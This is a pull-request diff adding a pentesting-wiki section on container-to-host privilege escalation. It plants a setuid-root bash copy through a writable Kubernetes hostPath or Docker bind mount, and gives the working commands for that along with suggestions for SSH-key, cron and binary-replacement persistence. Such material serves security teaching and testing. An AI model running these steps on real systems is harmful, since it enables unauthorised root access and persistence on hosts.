Merge pull request #210 from HackTricks-wiki/update_Forgotten_20250917_063108

Forgotten

Author: carlospolop

src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md

@@ -22,6 +22,56 @@ You can check this **docker breakouts to try to escape** from a pod you have com
 https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
 {{#endref}}
 
+### Abusing writable hostPath/bind mounts (container -> host root via SUID planting)
+
+If a compromised pod/container has a writable volume that maps directly to the host filesystem (Kubernetes hostPath or Docker bind mount), and you can become root inside the container, you can leverage the mount to create a setuid-root binary on the host and then execute it from the host to pop root.
+
+Key conditions:
+- The mounted volume is writable from inside the container (readOnly: false and filesystem permissions allow write).
+- The host filesystem backing the mount is not mounted with the nosuid option.
+- You have some way to execute the planted binary on the host (for example, separate SSH/RCE on host, a user on the host can execute it, or another vector that runs binaries from that path).
+
+How to identify writable hostPath/bind mounts:
+- With kubectl, check for hostPath volumes: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
+- From inside the container, list mounts and look for host-path mounts and test writability:
+
+```bash
+# Inside the compromised container
+mount | column -t
+cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
+findmnt -T / 2>/dev/null | sed -n '1,200p'
+# Test if a specific mount path is writable
+TEST_DIR=/var/www/html/some-mount  # replace with your suspected mount path
+[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
+# Quick practical test
+printf "ping\n" > "$TEST_DIR/.w"
+```
+
+Plant a setuid root binary from the container:
+
+```bash
+# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
+MOUNT="/var/www/html/survey"   # path inside the container that maps to a host directory
+cp /bin/bash "$MOUNT/suidbash"
+chmod 6777 "$MOUNT/suidbash"
+ls -l "$MOUNT/suidbash"
+# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
+```
+
+Execute on the host to get root:
+
+```bash
+# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
+# Example host path: /opt/limesurvey/suidbash
+ls -l /opt/limesurvey/suidbash
+/opt/limesurvey/suidbash -p   # -p preserves effective UID 0 in bash
+```
+
+Notes and troubleshooting:
+- If the host mount has nosuid, setuid bits will be ignored. Check mount options on the host (cat /proc/mounts | grep <mountpoint>) and look for nosuid.
+- If you cannot get a host execution path, similar writable mounts can be abused to write other persistence/priv-esc artifacts on the host if the mapped directory is security-critical (e.g., add a root SSH key if the mount maps into /root/.ssh, drop a cron/systemd unit if maps into /etc, replace a root-owned binary in PATH that the host will execute, etc.). Feasibility depends entirely on what path is mounted.
+- This technique also works with plain Docker bind mounts; in Kubernetes it’s typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath.
+
 ### Abusing Kubernetes Privileges
 
 As explained in the section about **kubernetes enumeration**:
@@ -393,6 +443,15 @@ Off-Menu         +
 
 - [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)
 
+## References
+
+- [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html)
+- [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)
+- [Docker bind mounts](https://docs.docker.com/storage/bind-mounts/)
+- [Bash -p (preserve privileges)](https://www.gnu.org/software/bash/manual/bash.html#Invoking-Bash)
+- [mount(8) nosuid option](https://man7.org/linux/man-pages/man8/mount.8.html)
+- [Peirates (Kubernetes attack tool)](https://github.com/inguardians/peirates)
+
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